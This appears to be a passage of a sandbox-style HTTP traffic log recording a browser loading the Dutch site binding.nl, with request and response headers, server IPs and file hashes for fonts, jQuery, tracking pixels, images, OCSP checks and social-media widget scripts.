alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  Web Open Font Format (Version 2), TrueType, length 15920, version 1.0\012- data
Size:   15920
Md5:    3a44e06eb954b96aa043227f3534189d
Sha1:   23cef6993ddb2b2979e8e7647fc3763694e2ba7d
Sha256: b019538234514166ec7665359d097403358f8a4c991901983922fb4d56989f1e
                                        
                                            GET /c/6.1.1/wp-includes/js/jquery/jquery.min.js HTTP/1.1 
Host: c0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.77.37
HTTP/2 200 OK
content-type: application/javascript
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
vary: Accept-Encoding
last-modified: Mon, 19 Sep 2022 14:16:24 GMT
content-encoding: br
expires: Tue, 28 Nov 2023 06:50:47 GMT
cache-control: max-age=31536000
strict-transport-security: max-age=15552000
x-nc: HIT arn 2
timing-allow-origin: *
access-control-allow-methods: GET, HEAD
access-control-allow-origin: *
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (65447)
Size:   46094
Md5:    ab22ccddf6c6b7caeb34684e7d881af7
Sha1:   2ced0071eec1822e9b1369632818524069fe48fc
Sha256: 2255922905dcb930d405105b7fb4d3b216c468064845b7312375536b73cb2e38
                                        
                                            GET /s/roboto/v30/KFOlCnqEu92Fr1MmWUlfBBc4.woff2 HTTP/1.1 
Host: fonts.gstatic.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: identity
Origin: https://www.binding.nl
Connection: keep-alive
Referer: https://fonts.googleapis.com/
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         216.58.207.195
HTTP/2 200 OK
content-type: font/woff2
                                        
accept-ranges: bytes
access-control-allow-origin: *
content-security-policy-report-only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes
cross-origin-resource-policy: cross-origin
cross-origin-opener-policy: same-origin; report-to="apps-themes"
report-to: {"group":"apps-themes","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/apps-themes"}]}
timing-allow-origin: *
content-length: 15860
x-content-type-options: nosniff
server: sffe
x-xss-protection: 0
date: Wed, 23 Nov 2022 18:53:49 GMT
expires: Thu, 23 Nov 2023 18:53:49 GMT
cache-control: public, max-age=31536000
age: 388620
last-modified: Wed, 11 May 2022 19:24:42 GMT
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  Web Open Font Format (Version 2), TrueType, length 15860, version 1.0\012- data
Size:   15860
Md5:    e9f5aaf547f165386cd313b995dddd8e
Sha1:   acdef5603c2387b0e5bffd744b679a24a8bc1968
Sha256: f5aebdfea35d1e7656ef4acc5db1f243209755ae3300943ef8fc6280f363c860
                                        
                                            POST /gts1c3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 84
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         142.250.74.35
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Mon, 28 Nov 2022 06:50:49 GMT
Cache-Control: public, max-age=14400
Server: ocsp_responder
Content-Length: 472
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         23.36.77.32
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "4C856B22EE3EABA64382F576DDA274ABA39CF4F31C47A815C75F1B9041D89DC8"
Last-Modified: Sun, 27 Nov 2022 10:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=21600
Expires: Mon, 28 Nov 2022 12:50:49 GMT
Date: Mon, 28 Nov 2022 06:50:49 GMT
Connection: keep-alive

                                        
                                            GET /g.gif?v=ext&blog=120680277&post=38&tz=1&srv=www.binding.nl&j=1%3A11.5.1&host=www.binding.nl&ref=&fcp=2546&rand=0.9103167034108519 HTTP/1.1 
Host: pixel.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.76.3
HTTP/2 200 OK
content-type: image/gif
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:49 GMT
content-length: 50
cache-control: no-cache
access-control-allow-origin: *
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  GIF image data, version 89a, 6 x 5\012- data
Size:   50
Md5:    e4d673a55c5656f19ef81563fb10884c
Sha1:   1f2d8ed221d39329251ad3a6ff1edb20b7219443
Sha256: f3a8992acb9ab911e0fa4ae12f4b85ef8e61008619f13ee51c7a121ff87f63b1
                                        
                                            GET /s/playfairdisplay/v30/nuFvD-vYSZviVYUb_rj3ij__anPXJzDwcbmjWBN2PKdFvXDXbtM.woff2 HTTP/1.1 
Host: fonts.gstatic.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: identity
Origin: https://www.binding.nl
Connection: keep-alive
Referer: https://fonts.googleapis.com/
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         216.58.207.195
HTTP/2 200 OK
content-type: font/woff2
                                        
accept-ranges: bytes
access-control-allow-origin: *
content-security-policy-report-only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes
cross-origin-resource-policy: cross-origin
cross-origin-opener-policy: same-origin; report-to="apps-themes"
report-to: {"group":"apps-themes","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/apps-themes"}]}
timing-allow-origin: *
content-length: 19860
x-content-type-options: nosniff
server: sffe
x-xss-protection: 0
date: Tue, 22 Nov 2022 15:01:48 GMT
expires: Wed, 22 Nov 2023 15:01:48 GMT
cache-control: public, max-age=31536000
age: 488941
last-modified: Mon, 18 Jul 2022 19:06:33 GMT
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  Web Open Font Format (Version 2), TrueType, length 19860, version 1.0\012- data
Size:   19860
Md5:    a95e391373ad634c3b7dbaf77de3f40e
Sha1:   ddc4638bc28c21a400fcd2df94448743f198a257
Sha256: fa3d5a0422c9b413abb4c78f8ff80de8a8ed58766f7110c82febf5296e899b47
                                        
                                            GET /s/lato/v23/S6uyw4BMUTPHjx4wXg.woff2 HTTP/1.1 
Host: fonts.gstatic.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: identity
Origin: https://www.binding.nl
Connection: keep-alive
Referer: https://fonts.googleapis.com/
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         216.58.207.195
HTTP/2 200 OK
content-type: font/woff2
                                        
accept-ranges: bytes
access-control-allow-origin: *
content-security-policy-report-only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes
cross-origin-resource-policy: cross-origin
cross-origin-opener-policy: same-origin; report-to="apps-themes"
report-to: {"group":"apps-themes","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/apps-themes"}]}
timing-allow-origin: *
content-length: 23580
x-content-type-options: nosniff
server: sffe
x-xss-protection: 0
date: Tue, 22 Nov 2022 17:10:21 GMT
expires: Wed, 22 Nov 2023 17:10:21 GMT
cache-control: public, max-age=31536000
age: 481228
last-modified: Tue, 26 Apr 2022 15:48:56 GMT
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  Web Open Font Format (Version 2), TrueType, length 23580, version 1.0\012- data
Size:   23580
Md5:    e1b3b5908c9cf23dfb2b9c52b9a023ab
Sha1:   fcd4136085f2a03481d9958cc6793a5ed98e714c
Sha256: 918b7dc3e2e2d015c16ce08b57bcb64d2253bafc1707658f361e72865498e537
                                        
                                            GET /g.gif?v=wpcom-no-pv&x_sharing-count-request=pinterest&r=0.25815441561447083 HTTP/1.1 
Host: pixel.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.76.3
HTTP/2 200 OK
content-type: image/gif
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:49 GMT
content-length: 50
cache-control: no-cache
access-control-allow-origin: *
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  GIF image data, version 89a, 6 x 5\012- data
Size:   50
Md5:    e4d673a55c5656f19ef81563fb10884c
Sha1:   1f2d8ed221d39329251ad3a6ff1edb20b7219443
Sha256: f3a8992acb9ab911e0fa4ae12f4b85ef8e61008619f13ee51c7a121ff87f63b1
                                        
                                            GET /www.binding.nl/wp-content/uploads/2021/10/180x150WELKOOP2021-1.png?fit=300%2C249&ssl=1 HTTP/1.1 
Host: i0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.77.2
HTTP/2 200 OK
content-type: image/webp
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:49 GMT
content-length: 25194
last-modified: Fri, 29 Oct 2021 07:42:28 GMT
expires: Sun, 29 Oct 2023 19:42:28 GMT
cache-control: public, max-age=63115200
link: <https://www.binding.nl/wp-content/uploads/2021/10/180x150WELKOOP2021-1.png>; rel="canonical"
x-content-type-options: nosniff
etag: "f770221e4d740413"
vary: Accept
x-nc: MISS arn 8
access-control-allow-origin: *
access-control-allow-methods: GET, HEAD
timing-allow-origin: *
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  RIFF (little-endian) data, Web/P image\012- data
Size:   25194
Md5:    30fc83312de8715e81f991cf57016808
Sha1:   7e9e6218ac359b0d8dcd5506b8cc6c68814b6f39
Sha256: 87a4e893a8b7c838bd1e40b6b2b1eb56b378c3bd578aecc2b22d810ad099ea0f
                                        
                                            GET /www.binding.nl/wp-content/uploads/2019/04/MMZwaagdijk-Advertentie-Binding-WEB-327x252-px-2019-AK1.jpg?resize=300%2C231&ssl=1 HTTP/1.1 
Host: i0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.77.2
HTTP/2 200 OK
content-type: image/webp
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:49 GMT
content-length: 13614
last-modified: Wed, 05 May 2021 06:01:12 GMT
expires: Fri, 05 May 2023 18:01:12 GMT
cache-control: public, max-age=63115200
link: <https://www.binding.nl/wp-content/uploads/2019/04/MMZwaagdijk-Advertentie-Binding-WEB-327x252-px-2019-AK1.jpg>; rel="canonical"
x-content-type-options: nosniff
etag: "7fe5a4bd64927190"
vary: Accept
x-nc: MISS arn 7
access-control-allow-origin: *
access-control-allow-methods: GET, HEAD
timing-allow-origin: *
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  RIFF (little-endian) data, Web/P image, VP8 encoding, 300x231, Scaling: [none]x[none], YUV color, decoders should clamp\012- data
Size:   13614
Md5:    02115e9739c7cba4fa0f7c298840bb64
Sha1:   7917de6e684619d3c0e5597422b07cd7f6b269c3
Sha256: 15f9515c4ffa198b74a1b7bbb8279804fe13112dec466663aa0ece6c3744aac8
                                        
                                            GET /www.binding.nl/wp-content/uploads/2019/10/CvW2017BannerBindingNL.png?resize=300%2C231&ssl=1 HTTP/1.1 
Host: i0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.77.2
HTTP/2 200 OK
content-type: image/webp
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:49 GMT
content-length: 100160
last-modified: Fri, 18 Nov 2022 20:18:34 GMT
expires: Mon, 18 Nov 2024 08:18:34 GMT
cache-control: public, max-age=63115200
link: <https://www.binding.nl/wp-content/uploads/2019/10/CvW2017BannerBindingNL.png>; rel="canonical"
x-content-type-options: nosniff
etag: "199fdf452ccaa749"
vary: Accept
x-nc: MISS arn 2
access-control-allow-origin: *
access-control-allow-methods: GET, HEAD
timing-allow-origin: *
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  RIFF (little-endian) data, Web/P image\012- data
Size:   100160
Md5:    c4e181f173fb7d3f4cfb376b6294e317
Sha1:   b0757360229af66c19e873e504e2568081c5bd71
Sha256: 75e6fcda7ddd4a78607b8025fc318a8f4218cac7c58d7dc2eca9d1a5a54a5b5f
                                        
                                            GET /www.binding.nl/wp-content/uploads/2019/05/faviconBinding.png?fit=16%2C16&ssl=1 HTTP/1.1 
Host: i0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.77.2
HTTP/2 200 OK
content-type: image/webp
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:49 GMT
content-length: 446
last-modified: Wed, 16 Nov 2022 05:39:09 GMT
expires: Fri, 15 Nov 2024 17:39:09 GMT
cache-control: public, max-age=63115200
link: <https://www.binding.nl/wp-content/uploads/2019/05/faviconBinding.png>; rel="canonical"
x-content-type-options: nosniff
etag: "319fbdb183b9ca6f"
vary: Accept
x-nc: MISS arn 8
access-control-allow-origin: *
access-control-allow-methods: GET, HEAD
timing-allow-origin: *
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  RIFF (little-endian) data, Web/P image\012- data
Size:   446
Md5:    ec9eb98b3bddf382fc7240d4660d1595
Sha1:   22949580c5ada4cb1f964a7970c4d95d4315261d
Sha256: 2041f5e4058bb21183600648ab725ddf8752964924cf13ad9d596047a789e608
                                        
                                            GET /widgets.js HTTP/1.1 
Host: platform.twitter.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         93.184.220.66
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
                                        
Content-Encoding: gzip
Access-Control-Allow-Methods: GET
Access-Control-Allow-Origin: *
Access-Control-Max-Age: 3000
Age: 1060
Cache-Control: public, max-age=1800
Date: Mon, 28 Nov 2022 06:50:49 GMT
Etag: "6633f9603c759c40d9b200995454f17c+gzip"
Last-Modified: Wed, 02 Nov 2022 19:43:37 GMT
P3P: CP="CAO DSP LAW CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR BUS IND UNI COM NAV INT"
Server: ECS (ska/F71B)
Server-Timing: x-cache;desc= HIT,x-tw-cdn;desc=,edge;dur=1
Vary: Accept-Encoding
X-Cache: HIT
x-tw-cdn: VZ
Content-Length: 29221


--- Additional Info ---
Magic:  Unicode text, UTF-8 text, with very long lines (33915)
Size:   29221
Md5:    7899fffaf0046efb7f9be2495d9dc928
Sha1:   d4c60d88e8deea577a50f9d20e1b6b3a20cba2cf
Sha256: 07d50450f22df0588cc1b67f5a124cb91d99a032a229586eb7dc490cce9f7f30
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Age: 5346
Cache-Control: max-age=149600
Date: Mon, 28 Nov 2022 06:50:49 GMT
Etag: "6383eac7-1d7"
Expires: Wed, 30 Nov 2022 00:24:09 GMT
Last-Modified: Sun, 27 Nov 2022 22:55:03 GMT
Server: ECS (ska/F70A)
X-Cache: HIT
Content-Length: 471

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         23.36.77.32
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "BD123FE3FCE93216E2635F9DBC356F081B7599784FB6B67984032F11D82BC7CB"
Last-Modified: Sat, 26 Nov 2022 21:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=4544
Expires: Mon, 28 Nov 2022 08:06:33 GMT
Date: Mon, 28 Nov 2022 06:50:49 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         23.36.77.32
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "BD123FE3FCE93216E2635F9DBC356F081B7599784FB6B67984032F11D82BC7CB"
Last-Modified: Sat, 26 Nov 2022 21:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=4544
Expires: Mon, 28 Nov 2022 08:06:33 GMT
Date: Mon, 28 Nov 2022 06:50:49 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         23.36.77.32
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "BD123FE3FCE93216E2635F9DBC356F081B7599784FB6B67984032F11D82BC7CB"
Last-Modified: Sat, 26 Nov 2022 21:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=4544
Expires: Mon, 28 Nov 2022 08:06:33 GMT
Date: Mon, 28 Nov 2022 06:50:49 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         23.36.77.32
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "BD123FE3FCE93216E2635F9DBC356F081B7599784FB6B67984032F11D82BC7CB"
Last-Modified: Sat, 26 Nov 2022 21:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=4544
Expires: Mon, 28 Nov 2022 08:06:33 GMT
Date: Mon, 28 Nov 2022 06:50:49 GMT
Connection: keep-alive

                                        
                                            GET /nl_NL/sdk.js HTTP/1.1 
Host: connect.facebook.net
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         31.13.72.12
HTTP/2 200 OK
content-type: application/x-javascript; charset=utf-8
                                        
vary: Accept-Encoding
content-encoding: gzip
access-control-expose-headers: X-FB-Content-MD5
x-fb-content-md5: 6af062bca46135e0648c8a327a7d500c
etag: "75756e45941a4c7869b4b5f482ce882c"
timing-allow-origin: *
access-control-allow-origin: *
cross-origin-resource-policy: cross-origin
expires: Mon, 28 Nov 2022 06:56:51 GMT
cache-control: public,max-age=1200,stale-while-revalidate=3600
document-policy: force-load-at-top
cross-origin-opener-policy: same-origin-allow-popups
x-content-type-options: nosniff
x-fb-rlafr: 0
x-frame-options: DENY
strict-transport-security: max-age=31536000; preload; includeSubDomains
content-md5: xlfotJTxUASebl+sgMGHnA==
x-fb-debug: jAXjfswlLUn//vuyGk1WDsxm0/n89aB3zmWsxcv++l93SKnXAcX5ectQMkqiZUrXEbr2MIcX+mSwbLw3E9++gg==
content-length: 1685
x-fb-trip-id: 1904183273
date: Mon, 28 Nov 2022 06:50:49 GMT
alt-svc: h3=":443"; ma=86400
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (1957)
Size:   1685
Md5:    c657e8b494f150049e6e5fac80c1879c
Sha1:   47503f8279a89dfcb940c51c7af726f986051bdd
Sha256: c3f39e161782a6524dc372e71cbecdfc67053716fdc6c3f42b148ec785396fba
                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         23.36.77.32
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "BD123FE3FCE93216E2635F9DBC356F081B7599784FB6B67984032F11D82BC7CB"
Last-Modified: Sat, 26 Nov 2022 21:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=4544
Expires: Mon, 28 Nov 2022 08:06:33 GMT
Date: Mon, 28 Nov 2022 06:50:49 GMT
Connection: keep-alive

                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2Fd56dccc9-321b-431e-8a92-49471e788b4b.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 11165
x-amzn-requestid: 9e35d865-adea-4d2a-b20f-beb014cdd42f
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: cR6_JE2VIAMFYgQ=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-6383d860-7cf4db38152cdfa1448cba3d;Sampled=0
x-amzn-remapped-date: Sun, 27 Nov 2022 21:36:32 GMT
x-amz-cf-pop: SFO5-C3, SEA19-C2
x-cache: Miss from cloudfront
x-amz-cf-id: lu-Pi2xJUPfkpTK0vCDauedxSM1ZrNzEKka2-4m6l7pDkt04gUgpnA==
via: 1.1 dec8fa38a453902521b941c7cd70d33c.cloudfront.net (CloudFront), 1.1 64f86ae1c24221f3a2e4d653d6dbc416.cloudfront.net (CloudFront), 1.1 google
date: Sun, 27 Nov 2022 21:56:40 GMT
etag: "65941dd34eb1063a3f7fe2b6790a11a484a06b9a"
age: 32049
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   11165
Md5:    a8935783026c10470f60033d3a860f7b
Sha1:   65941dd34eb1063a3f7fe2b6790a11a484a06b9a
Sha256: e88c706458faf5b5512212692392c7c1a0d8e60af62962267166f5cb60ee9c89
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F165667de-df17-4cc6-832c-94f49703bdf2.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 9430
x-amzn-requestid: 454ca8bd-a256-45f2-8b41-feee86c5af82
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: cR7wyGCIIAMFhgw=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-6383d99e-1488f8ce71a91ebc3ad6b7e0;Sampled=0
x-amzn-remapped-date: Sun, 27 Nov 2022 21:41:50 GMT
x-amz-cf-pop: HIO50-C1, SEA19-C2
x-cache: Miss from cloudfront
x-amz-cf-id: ibLuLI6j9EWh0dgk51O7kiPBRyURZ0UdNtlgbBD-SXnDg_GT_tJm8Q==
